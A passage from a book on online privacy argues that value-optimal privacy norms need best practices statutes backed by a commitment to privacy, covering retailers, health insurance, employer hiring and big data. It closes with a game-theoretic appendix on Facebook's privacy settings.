parties subject to the norm that they ought conditionally to conform to
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it. As we said earlier, educational efforts can be remarkably effective. They 
have, among other things, convinced a significant number of Americans 
that they ought not to litter, smoke cigarettes, or eat too much beef. 
Educational efforts could also convince business decision makers that
they ought to respect privacy, even when it means less profit. This may 
provoke the response, “Really!?” Intense competitive pressures give busi­
nesses a strong motive to collect and use information in ways that ensure
an acceptable bottom line in the budget. In this environment, isn’t it just
naïve to think a commitment to privacy will triumph over the need to
turn a profit? This skepticism may be justified. Our answer is that, despite 
the possible hurdles in the way, society needs the commitment to privacy 
to come out on top. 
THE NEED FOR TRUST 
Without a commitment to privacy, our norm-generation strategies work 
only when a business’s profit-maximizing strategy is to conform to the  
norm created through a best practices statute; otherwise, the business
finds itself in a Tragedy of the Commons and will defect. We discuss 
three more examples: retailers as information brokers, health insurance,
and employer hiring and retention. Similar remarks hold for a wide range 
of cases.* 
Retailers as Information Brokers 
As we noted in Chapter 5, traditional retailers ranging from credit card
companies to coffeehouses can now collect enough information to func­
tion as information brokers that feed massive amounts of information to
third parties for direct marketing (as well as other purposes). We argued 
that the result was a suboptimal “retailers as information brokers” norm.
The question we left unanswered was how to create a value optimal 
replacement norm. A best practices statute approach appears necessary,
as our other two approaches to norm creation do not appear to be viable. 
We cannot take the blocking to prevent a data collection approach since 
we lack the technological means to prevent the data collection. Relying 
on the “power not to buy” also appears problematic. One problem is that
there are all sorts of retailers; retailers are not part of a single market for 
* 	 Each example needs detailed discussion, but we suggest additional examples include price dis­
crimination, news reporting and journalism, education, traffic control, and (in the very near
future) private use of surveillance drones. 
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homogeneous goods and services. Another concern is that many factors 
influence a buyer’s choice of retailer. Sally may prefer the ambience of her 
local noncorporate chain coffeehouse over the constant hustle and bustle
in the standardized décor of the nearby Starbucks even though Starbucks 
charges less for its drinks and prepares them more quickly. Meanwhile,
Susan may prefer Starbucks. 
The same may happen with privacy. Buyers may opt for a more privacy­
invasive retailer because they prefer it for reasons unrelated to privacy.  
We eliminated this possibility when discussing behavioral advertising by
assuming that buyers cared enough about privacy in the online behav­
ioral advertising context that they would use close to perfect “do not
track” technologies if they had them. This is to assume that buyers will  
choose the more privacy-respecting website. We implicitly made a simi­
lar assumption for mobile apps and cloud computing: Buyers will opt for 
the more privacy-respecting app and cloud computing service.* Such an
assumption is far less plausible for retailers in general, however. Diverse 
factors determine our choice of retailers, and there is no reason to think 
that the retailers’ information processing practices always tip the balance 
in favor of the more privacy-respecting retailer. Sally may still patronize 
her beloved local coffeehouse even if it turns out to be far more privacy 
invasive than Starbucks. 
A best practices statute appears in order. The best practices would 
define a value optimal trade-off between protecting consumer privacy and 
gains from allowing retailers to collect and transfer information to third 
parties. The gains to the retailer are increased revenue. Buyers gain to the 
extent that the retailer passes on the benefit of the increased revenue in
the form of reduced prices and better products and services. Best practices 
protect privacy by restricting the collection and transfer of information to
third parties. This reduces retailers’ revenue from the transfers and hence 
imposes costs on buyers. We assume that adequate legal enforcement of
best practices will create the following regularity: Retailers offer and buy­
ers purchase products and services against a background of best practices 
for the collection and transfer of buyers’ data to third parties. 
As was the case at several earlier points in the book, we have, for any 
one type of retailer, a moderate number of retailers and a large number 
of buyers. For instance, depending on how you count, there are perhaps 
* 	 We eliminated Susan/Sally type issues by assuming that competing products were sufficiently  
homogeneous. 
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20,000 coffee shops in the United States and 100 million coffee drinkers; 
there are probably significantly fewer than 20,000 credit card providers in
the United States and somewhat more than 100 million credit card users. 
Once again we focus on the buyers.* As before, our interest is in whether 
we can begin with a strongly enforced best practices statute and arrive
at a norm so that the legal enforcement can recede into the background.
Thus, we need to know if this happens without the threat of legal liability.
Absent legal liability, we assume that to increase their profits, at least some
retailers will offer lower prices or better goods and services in exchange
for the buyers’ providing information for transfer to third parties. When 
confronted with this option, will buyers cooperate or defect? To cooperate
means rejecting the retailer’s offer so as to realize a value optimal trade-
off. To defect is to provide the information for transfer to third parties. 
Buyers will certainly defect if they have Tragedy of the Commons pref­
erences—if, that is, their order of preferences is (1) to defect when enough
others cooperate, (2) to cooperate when enough others cooperate, (3) to
defect when enough others defect, and (4) to cooperate when enough oth­
ers defect. These preferences create a Tragedy of the Commons. Given the 
preferences we have specified, each buyer will defect, employing the rea­
soning of the Tragedy of the Commons: “If enough buyers cooperate and 
I defect, I benefit from the value optimal trade-off and get better prices, 
products, and services. If enough defect, I cannot realize the value optimal 
trade-off by cooperating, so I should defect. So either way, I should defect.”
Every buyer will reason this way, so they will all defect, and this means we
cannot turn the statutorily created regularity into a norm. 
Of course, buyers don’t have to have Tragedy of the Commons prefer­
ences. They could prefer above all else to cooperate when others cooperate.
They would prefer this if they had a sufficiently strong commitment to pri­
vacy—one strong enough to make them prefer privacy when offered the 
retailer’s “better prices, goods, and services for information” deal. Given 
that commitment, they would think that they ought at least condition­
ally to conform to the regularity in order to realize the shared interest 
in a value optimal privacy trade-off, and thus the regularity would turn
into a norm. So what do buyers prefer? Current studies are inconclusive.31 
If they already prefer above all else to cooperate when others do, we can 
* 	 That is, we focus on the large numbers of consumers who buy the retailers’ ordinary products and 
services. We are mostly ignoring the information aggregators who are purchasing the ordinary
customers’ information from the retailers. 
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confidently expect the norm to arise. If not, our task is to find a way to cre­
ate the commitment to privacy that will yield the preference. 
Similar remarks hold for virtually any best practices statute address­
ing informational privacy. The statute will define a value optimal trade-
off between protecting privacy and the gains from allowing the collection
and processing of information. To do so, the practices will, in a significant
range of cases, protect privacy by restricting information processing. As
long as the restrictions impose costs on buyers, sellers will (absent a suf­
ficiently strong risk of legal liability) tempt buyers to get a better deal by
participating in statutorily prohibited information processing. Then the 
question will arise whether buyers will defect or cooperate. The answer  
will be the same: It depends on buyers’ preferences. Buyers will cooper­
ate if they have a sufficiently strong commitment to privacy, but they will
defect if they have the Tragedy of the Commons preferences. Health insur­
ance provides another illustration of this pattern. 
Health Insurance 
Health insurance companies collect and use information about morbid­
ity and mortality. We argued in Chapter 5 that the norm governing these 
activities was not value optimal. How should we create a replacement 
norm that is value optimal? We cannot rely on the power to block data
collection. We have no effective technological means to prevent insur­
ance company data collection, nor would it obviously be good if we did.
The companies need accurate information, and people would most likely
prevent collection of information indicating a significant risk of morbid­
ity or mortality. 
The “power not to buy” is also not likely to be of use in generating a 
norm. This may not seem clear. After all, individuals do buy health insur­
ance (or, more typically, their employers do), so can’t people impose mon­
etary losses on insurance companies by changing their insurer when they
are unhappy with their insurer’s information processing practices? The
problem is that, even when people purchase the insurance themselves, 
they typically have little freedom to switch from one insurance company 
to another. The transaction costs can be extremely high—a new applica­
tion and medical evaluation with the risk that premiums will be higher
or even that insurance will be denied; in addition, it may be necessary to
change doctors and hospitals. The buyer–seller relationship consequently
provides little leverage to influence the information practices of health
insurance companies. 
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A best practices statute approach seems necessary, and the Tragedy 
of the Commons issue arises again. The statutorily mandated best prac­
tices will protect privacy even when collecting and using information 
would increase insurance companies’ profits. Absent legal enforcement,
we assume that health insurance companies will offer better deals in
exchange for participation in information processing that the best prac­
tices prohibit. If buyers have the Tragedy of the Commons preferences,
they will defect, and we will not be able to turn the regularity into a norm. 
Creating a sufficient commitment to respecting privacy is necessary if we
are to avoid the Tragedy of the Commons. 
Some may wonder whether we need to generate a norm in this case.  
Health insurance and health care generally are already heavily regu­
lated. With extensive regulatory infrastructure already in place, can’t we
just add a bit more to address privacy concerns? One answer is that it is
still cheaper and more effective to get the results we want with a norm. 
In addition, as HIPAA (Health Insurance Portability and Accountability
Act) shows, the specification of best practices will still be peppered with
unexplained general terms such as “reasonable” and “relevant” (as in “all
relevant circumstances”) and with references to types of entities and func­
tions (“health organizations” and “health professional”), and we will still
need norms to implement trade-offs through specific interpretations of
these terms. 
Employer Hiring 
Employer hiring is another example of a suboptimal informational norm
(an example we mentioned, but did not discuss, in Chapter 5). It is—and
has always been—role appropriate for an employer to collect and use 
information about applicants to determine their suitability for hiring and 
continued employment.* So it is highly likely that the informational norm
is that employers may acquire role-appropriate information concerning 
applicants. But it also seems clear that the norm is no longer value optimal 
as a result of enormous increases in information processing power. 
An example shows why. Suppose that Alice is the mother of a young 
child with a chronic disease that requires expensive treatment. To learn 
about the disease, Alice buys books online, searches the web, and partici­
pates in online parent support groups. She applies for a job but is rejected 
* 	 Employers may also use personal information in employee retention decisions. Information from 
social networking sites is an example. 
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because a background check discovered her web activities and flagged her 
as a risk for high health costs. When employers had far less power to iden­
tify such “problem employees,” those employees would get jobs for which 
they were qualified and the burdens—higher health costs, more time away
from work, or whatever—were spread across employers as a whole. Now,
access to a wealth of information gives employers the power to make fine-
grained discriminations among applicants and employees, and the result
is that the “problem employees” are increasingly excluded from jobs for 
which they are otherwise qualified. We assume that there is a better justi­
fied alternative—one in which some restrictions on employers’ collection
and use of information create a fairer distribution of employment. Our 
question is how to create a value optimal replacement norm. 
It may seem we have already solved this problem. Employers get much 
of their information from aggregators, and the norm we propose to gener­
ate to cover the business clients of aggregators will include employers. The
problem is that employers have other sources of information. They have
begun asking applicants for the passwords to their social networking sites,
for example.32 Even if we ban this practice, what will effectively prevent an
employer from doing searches about applicants from a home computer in
a way that cannot be detected? Only a commitment to privacy that makes 
the employer prefer not to do the searches. 
Beyond Buying and Selling 
So far, we have focused entirely on business information processing.
Individuals and organizations also collect and use information for any 
number of nonbusiness purposes. Politics is one example. Political parties
as well as commercial firms maintain voter databases that store a variety 
of data for use by candidates for public office, including party affiliation, 
voting history, donation history, vehicle registration, real estate transac­
tions, magazine subscriptions, credit histories, and grocery discount card
purchases.33 Charitable organizations and not-for-profit organizations are
also beginning to make use of large collections of disparate types of data.34 
In addition, individuals search Google and social media for a variety of
private purposes. For instance, we can tell that Googling your date before
a first date must be pretty popular, because a Google search for “Googling 
before first date” returns over a million results, albeit, when we ran that
search one evening, Google’s number two result was a New York Times
Fashion and Style section article about “Why You Should Never Google
on the First Date.”35 
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To what extent should we use the best practices statute approach to regu­
late private uses of information? Should we have a best practices statute that
regulates Googling first dates? Surely not. That would intrude far too deeply 
into our private lives. Our concern is with the cases in which the approach 
is appropriate. In those cases, a variety of other concerns will combat the 
commitment to privacy—the desire to get elected, to raise money for char­
ity, or to achieve a variety of other goals. Only a sufficiently strong commit­
ment to respecting privacy will avoid Tragedies of the Commons. 
IF WE FAIL TO CREATE NORMS 
We have offered three norm-generation strategies: use the power to pre­
vent data collection (website behavioral advertising), use the power not to
buy (mobile device apps and, perhaps, cloud computing), and use a best 
practices statute. What happens if these approaches (or any others we
haven’t discussed) fail to create the norms we need? Then we have no effec­
tive way to avoid the world about which the privacy advocates warn—the
world in which we leave a permanent picture of our lives that anyone can 
access. Even when that picture is positive overall, it will also record fool­
ish false steps, ignoble acts, violations of the law, and financial failures, as
well as much else that may discredit, embarrass, or humiliate. There would
be no clean slates. The stigma could affect the ability to get a job, obtain
insurance at reasonable rates, finance a home, or succeed in personal rela­
tionships. Fear of adverse consequences would make many refrain from
the risk of failure that accompanies creative experiments and the pursuit 
of innovative ideas. 
The worry is the greatest in the cases in which the best practices statute 
approach is appropriate, but in which conformity to the proposed best 
practices is not profit maximizing or is challenged by other goals (as in
the charity and personal cases). Norm creation will not succeed without a 
commitment to the values of privacy sufficient to withstand the challenge. 
It is no exaggeration to say that whether we succeed in fostering such a 
commitment will shape history’s verdict on the beginning of the informa­
tion age. As the security expert Bruce Schneier acutely observes, 
History will record what we, here in the early decades of the informa­
tion age, did to foster freedom, liberty, and democracy. Did we build
information technologies that protected people’s freedoms even
during times when society tried to subvert them? Or did we build 
technologies that could easily be modified to watch and control?”36 
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History will judge—but slowly. Creating the norms we need requires
reaching agreement on extremely controversial trade-offs against a back­
ground of constant change and innovation. That is not likely to happen 
quickly. It is difficult to predict how long it will take, but it would not be 
surprising to find the following observations in a twenty-second century 
history of the early decades of the information era: “In the early decades 
of the twenty-first century, societies struggled to balance privacy against 
the benefits created by exponential increases in the power to collect, store,
and analyze information. The norms that we take for granted today first 
emerged only toward the middle of the century.” 
We conclude with a brief look at one part of the near future—the rise
of big data. The development underscores the need to create value opti­
mal norms. 
THE BIG DATA FUTURE 
“Big data is upon us.”37 The term “big data” refers to the acquisition and
analysis of massive collections of information, collections so large that
until recently the technology needed to analyze them did not exist. To get 
a sense of the size of the data collections involved, think of every tweet 
on Twitter since Twitter began in 2006. There are hundreds of billions of
them, and the number is now increasing at a rate of 400 million tweets
every day.38 Twitter has donated the tweets—all of them, past, present,
and future—to the Library of Congress, which makes them available to
researchers, who, for the first time, will be able to study recent history 
and culture by looking for patterns in truly massive data sets. No one 
knows what the tweets will reveal, but it is clear that analyzing massive 
collections of data reveals patterns that would otherwise go unnoticed. 
Analyzing searches on Bing, for example, lead to the potentially life-sav­
ing discovery we mentioned earlier that taking the antidepressant Paxil 
together with the anticholesterol drug Pravachol could result in diabetic
blood sugar levels. By combining drug prescription data with search term
data, Dr. Russ Altman discovered that people taking both drugs also
tended to enter search terms (“fatigue” and “headache,” for example) that
constitute the symptomatic footprint characteristic of very high blood 
sugar levels.39 In fact, Altman made two uses of big data. He obtained 
the symptomatic footprint by analyzing 30 years of reports in the Federal 
Drug Administration’s Adverse Event Reporting System database, and 
then he found that footprint in the Bing searches using an algorithm that
detected statistically significant correlations. 
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One recurring theme of this book has been that there really are great 
benefits to society to be obtained from recent advances in data collection
and analysis, and Altman’s results are a striking example of the benefits of
big data. Health is far from the only area in which big data will bring big 
benefits. As the Twitter example illustrates, the social sciences are likely to
benefit from an incredibly rich field of data never before available, as will
news reporting and journalism. Businesses in a wide variety of sectors 
will benefit from big data through better business planning, more effec­
tive advertising, and improved security. Perhaps the most transformative
effect big data is the one hardest to predict: new products and services.
As the World Economic Forum has observed, personal data “will emerge
as a new asset class touching all aspects of society.”40 Data markets have
already emerged. Infochimp, Factual, Azure, and Data Market, for exam­
ple, sell access to very large collections of data. 
The “big data genie” is not going to go back in the bottle, but big data are 
a double-edged sword. The World Economic Forum also observed that the
“current personal data ecosystem is fragmented and inefficient. For many
participants, the risks and liabilities exceed the economic returns. Personal
privacy concerns are inadequately addressed. Regulators, advocates and 
corporations all grapple with complex and outdated regulations.”41 We
think the solution—or at least a large part of it—consists of creating infor­
mational norms that implement value optimal trade-offs among all the 
relevant factors and concerns, including privacy. We need to find ways to
create the needed norms. If we do not, our best guess is that, as we sug­
gested earlier, we will inexorably slip into a future of little or no privacy.
We will create that future where 40-year-olds are denied jobs because of
pranks or even Google or Bing searches that they did as teenagers. 
Unfortunately, policy makers ignore the task of creating new norms.
Instead, they cling to notice and choice as a step in defining trade-offs
between privacy and competing concerns. We criticized notice and choice 
in Chapter 4, and we are hardly the first to do so. There is widespread 
agreement that notice and choice is deeply flawed. The Federal Trade 
Commission acknowledges one of the central difficulties in its 2012
report, “Protecting Consumer Privacy in an Era of Rapid Change.” The
FTC emphasizes that “most privacy policies are generally ineffective for 
informing consumers about a company’s data practices because they are 
too long, are difficult to comprehend, and lack uniformity.”42 The FTC’s
solution, however, is not to question notice and choice but to insist that
privacy policies should be “clearer, shorter, and more standardized.”43 This
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flies in the face of businesses’ current use of detailed profiles of consumers 
in advertising, personalization of services, and business planning. To cre­
ate the profiles, they participate in the advertising ecosystem, which col­
lects an enormous amount of information about consumers and stores it
in massive databases for very long periods of time. If privacy policies are to
inform consumers in the manner that the FTC wants them to, they must 
contain information about the complex ways businesses participate in the 
advertising ecosystem. Policies would need to be longer, not shorter, and 
they are already too long and too hard for consumers to read. 
We think the way out of this dilemma is to rely on informational 
norms, but the FTC has a different idea. It wants to reduce the burden 
of describing what businesses do with their information by drastically  
limiting data collection and analysis. It insists that “companies should
limit data collection to that which is consistent with the context of a par­
ticular transaction or the consumer’s relationship with the business, or
as required or specifically authorized by law.”44 They also demand that
companies “implement reasonable restrictions on the retention of data
and should dispose of it once the data has outlived the legitimate purpose 
for which it was collected.”45 
The FTC is hardly alone in its insistence on notice and choice com­
bined with significant restrictions on data collection and retention. The
European Union takes a similar approach, calling for even more restric­
tions. We think this is wrong-headed, naïve, and doomed to failure. Strong
restrictions conflict with the trend toward big data. Realizing the benefits 
of analyzing big data requires collecting, combining, and retaining vast 
amounts of data. Furthermore, restrictions that are strong in theory dis­
solve into meaningless clicks on “I accept” buttons in practice. This has 
been occurring in recent years even in the European Union with its sup­
posedly strong privacy protections. 
The principles for restricting the use of big data that the FTC appears 
to be advocating are hardly clear, but it is difficult to see how they would 
allow retaining the Bing searches that led to the life-saving discovery of
the combined effects of Paxil and Pravachol, or how they would permit
the donation of all tweets to the Library of Congress. We have offered an
alternative: develop value optimal informational norms. This approach is
the antithesis of the FTC’s insistence on restricting data collection and 
retention. It requires a willingness to compromise, a willingness to make
trade-offs that provide some meaningful privacy protections and reap the 
benefits of information processing. 















344  ◾ Unauthorized Access: The Crisis in Online Privacy and Security 
History will indeed “record what we, here in the early decades of the 
information age, did to foster freedom, liberty, and democracy.” We hope it
records that we made the trade-offs needed to create value optimal norms. 
APPENDIX: A GAME THEORETIC ANALYSIS 
OF FACEBOOK’S PRIVACY SETTINGS 
In this appendix, we analyze Facebook’s privacy settings, the ones that
allow users to control what other users may see about them.* We will treat
this as a two-player game between Facebook and its users. More precisely,
it is one billion two-player games, each between Facebook and one of its 
users. Our conclusion will be that the optimal strategy is for Facebook to
offer difficult-to-use privacy settings, and for users to choose to leave their 
privacy settings more or less at the public default. The rest of this appendix
is devoted to justifying that conclusion. 
Our analysis requires a mildly deeper dive into game theory than was
necessary earlier in this book, which is why we have relegated the analysis
to this appendix. Elsewhere in this book we restricted ourselves to some
very well known games, such as the game of pure coordination (Driving),
Chicken, and Prisoner’s Dilemma. We do not think any of the games we
covered earlier or any of the other most well known games (with equally 
colorful names like “Battle of the Sexes” and “Penny Matching”) are a 
good fit to the Facebook situation. 
All the most famous games have only two possible strategies for each 
player. Also, in all the games we looked at earlier, we thought of the two 
sides as choosing their moves simultaneously. In our analysis of Facebook, 
we allow the players to choose among three possible strategies, and we
switch from simultaneous to sequential moves. 
The best way to think of the interaction between Facebook and one of
its users over privacy settings is that, first, Facebook chooses what privacy 
settings to provide, and then the user either chooses one of those settings 
or stops using Facebook. 
A simple model of Facebook’s current situation is that Facebook has 
three possible choices of privacy settings to offer: 
* 	 In the main part of this chapter we concluded that Facebook allows users no control at all of 
Facebook’s own collection of users’ information, including for purposes of behavioral advertising.
In other words, Facebook plays One-Sided Chicken with its users with respect to advertising. 
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1. Force all users to make all their material completely public to all 
other users. Public also means publicly searchable, so this means the
material is also available to non-Facebook users to some degree. We
call this public-demanded for short. 
2. Give users easy-to-use privacy settings that allow them to restrict
access to their information by other users however they wish. We call
this restricted-easy for short. 
3. In an intermediate action, Facebook does provide its users with some
privacy controls, but deliberately makes them very difficult for users 
to use. We call this restricted-made-hard for short. 
We argued in the main part of Chapter 12 that Facebook appears to be 
playing restricted-made-hard, citing the study of Columbia University stu­
dents. (We might also have appealed to your own personal intuition, since 
odds are very good that you are a Facebook user, and if you are reading 
this book, you have probably looked at your privacy settings.) 
The overall game is diagramed in Figure 12.6. Facebook is represented
by the dot at the top, and its three possible moves are the three downward
arrows coming out of that dot. The moves available to the user depend on
Facebook’s move. If Facebook chooses restricted-easy, then the user has 
two plausible choices: 
FIGURE 12.6 Diagram (“game tree”) of the Facebook privacy settings game. 
Facebook first chooses one of the three moves at the top, and then the user 
chooses a response. The pairs of numbers in brackets are [Facebook’s gain, user’s 
gain] for each case. 
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1. Make his information fully accessible to others, which we call public
for short. 
2. Restrict access to his information, which we call restricted for short. 
When Facebook’s choice is restricted-made-hard, it is conceivable that  
the user is so unhappy with Facebook’s privacy settings that he chooses
a third move: 
3. Quit Facebook (quit-FB for short). 
Thus, in the diagram shown in Figure 12.6, at the dot labeled FB user 
at the bottom of Facebook’s restricted-easy move, we see two downward
arrows, one labeled public and the other labeled restricted, but at the dot 
labeled FB user at the end of Facebook’s restricted-made-hard move we see
three downward arrows, one labeled public, one labeled restricted, and one 
labeled quit-FB. 
The last case we need to consider in our description of the user’s choices
is when Facebook chose public-demanded. Then the user has only two 
possible actions: public and quit-FB. Restricted is simply not an option. 
Now the question is, what actions will the two parties choose in this
game? The answer, of course, depends on their relative preferences for the 
different possible outcomes. 
First consider Facebook’s preferences. We assume that Facebook’s first 
choice is for all its users to make as much information public as possible, 
and Facebook’s last choice is for a user to quit Facebook, since nonusers 
don’t bring in revenue. Having users restrict their information falls some­
where in between. Our analysis will depend only on Facebook’s prefer­
ences obeying the general order we just specified, but in game theory it is
traditional to give a specific number for the value of every possible out­
come to each player, so we did so. The diagram of the game in Figure 12.6 
shows the values for each outcome listed in square brackets in the order 
[value to Facebook, value to the user]. 
For Facebook we (arbitrarily) assigned specific values, from most pre­
ferred to least:
 1. Facebook chooses 	public-demanded, and the user chooses pub­
lic, leading to the best outcome for Facebook, with value 5. (In 
Figure  12.6, this corresponds to starting at the top Facebook node; 
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moving down to the right along the arrow labeled public-demanded,
corresponding to Facebook’s choice; arriving at the node labeled FB 
user; then down and left on the arrow labeled public, corresponding 
to the Facebook user choosing public; and arriving at the amount in
square brackets [5, 1], indicating a value of 5 to Facebook and a value 
of 1 to the user for this outcome.) 
2. Facebook chooses either of restricted-easy or restricted-made-hard,
and the user chooses public. Both have a value to Facebook of 4. 
3. All outcomes where the user chooses 	restricted have a value to
Facebook of 3. 
4. All outcomes where the user chooses quit-FB have a value to Facebook 
of 0. 
Now let us consider the user’s preferences. We assume that the user’s
top choice is to keep his or her information restricted and to expend little
effort to do so. That is, the user’s top choice is specifically restricted when
Facebook chooses restricted-easy. We assume that the user’s last choice is
for his or her information to be public because Facebook has forced that
outcome—that is, when Facebook chose public-demanded. We further
assume that in the case that Facebook chooses restricted-made-hard, the
user prefers to continue using Facebook over both quitting Facebook and 
working hard enough to change his or her settings. These are the prefer­
ences of somebody mildly interested in privacy: Being forced to make all
one’s posts and pictures public to all is just a bit too offensive to tolerate. The
user doesn’t want to feel that sheep-like. However, given nominal control 
by the existence of privacy settings, but privacy settings that are really hard
to use, it is easier just to ignore the privacy settings, or perhaps make a few 
ineffectual tweaks, and call it a day. Remember that our overall argument
is not that all or even most Facebook users have these preferences, just that
there is a large enough minority of Facebook users with these preferences. 
As was the case with Facebook’s preferences, we give a specific number 
for the user’s value for each possible outcome, but our analysis depends 
only on the general properties of the preferences we have already listed. In
decreasing order, the user’s preferences are the following: 
1. The user’s top outcome is to have complete control and for that com­
plete control to be easy. In our model, this corresponds to the user’s
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choosing restricted when Facebook has chosen Restricted-easy, and
this has value 5 for the user. 
2. The user’s second favorite outcome is for Facebook to give the user 
some control by choosing either restricted-easy or restricted-made­
hard and for the user to choose public. Both have value 4 for the user. 
3. The	 user chooses restricted in response to Facebook’s choosing
restricted-made-hard, with a value of 3. 
4.  Below that is quitting Facebook. 	 The user’s choice of quit-FB in
response to either Facebook’s choice of restricted-made-hard or pub­
lic-demanded has value 2 to the user. 
5. The user’s last choice is to choose public in response to Facebook’s 
choice of public-demanded. That has value 1 for the user. 
The name of the formal procedure for analyzing such a game is “mini­
max.” Minimax tells us that if both players make choices to maximize their
own value, taking into account what the other player can do, then Facebook
will choose restricted-made-hard, and in response the user will choose pub­
lic. (We show those choices in bold in Figure 12.6.) We won’t explain mini­
max in general, but we will go through its logic for this game. Really, it is
just careful case-by-case analysis. Facebook has three possible choices. We
consider each in turn. Remember that Facebook always gets to choose first. 
If Facebook chooses restricted-easy, then the user will choose restricted,
since that leads to a value of 5 for the user, better than the user’s other 
choice of public, with a value of only 4 for the user. Facebook’s payoff from
the restricted-easy followed by restricted outcome is 3, from the [3, 5] value 
pair shown at the bottom of the corresponding path in the diagram. 
If Facebook chooses restricted-made-hard, the user has the three choices
of public, with value 4 to the user; restricted, with value 3 to the user; and 
quit-FB, with value 2 to the user. The user picks the choice with the highest 
value for the user: public. Facebook also gets value 4 from this outcome. 
Finally, Facebook could choose public-demanded. That leaves the user 
with the two choices of public, with value 1 for the user, or quit-FB, with
value 2 for the user. The user picks quit-FB, since that has the higher value 
for the user. Facebook, however, won’t like that outcome at all, since it has 
value 0 for Facebook. 
Now we can see that of Facebook’s three possible choices, restricted-
made-hard led to Facebook getting the highest value of 4, as opposed to
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3 for restricted-easy and 0 for public-demanded, so Facebook will indeed 
choose restricted-made-hard. 
The order of preferences we relied on does not need to hold for all, or 
even most, of Facebook’s one billion users. As long as there are enough 
users with preferences like the ones we posited in Figure 1  2.6 that Facebook 
wants to retain, then Facebook will choose restricted-made-hard. That 
number may be fairly small. Facebook might be very reluctant to lose even 
10 or 15 percent of its users. 
Facebook makes one choice for all one billion games it is playing with 
individual users. That is, each and every Facebook user has the same 
Facebook privacy controls resulting from Facebook’s restricted-made­
hard choice. This means that every user whose top preference is public in 
response to Facebook’s choice of restricted-made-hard will choose public. 
In plain English, our game theoretic analysis gives us the following 
big picture: If a sufficient number of Facebook users (perhaps 10 to 15 
percent) would rather quit Facebook than be absolutely forced to make 
all their Facebook material public, then Facebook is going to choose to 
provide privacy controls, but those privacy controls will be difficult to 
use. (Furthermore, those particular privacy controls come with an ini­
tial default setting of all material being maximally public.) In response 
to privacy controls that are difficult to use, many, perhaps even most, 
Facebook users will choose to leave their privacy settings fully public. 
Also, since Facebook’s privacy settings are indeed difficult to use, many 
other users, who do make some adjustments to their Facebook settings, 
are probably making their Facebook material more public than they 
intend to. 
This may also explain why Facebook changes the privacy settings avail­
able to users so frequently: It is another way to provide privacy settings but 
make them difficult to use. 
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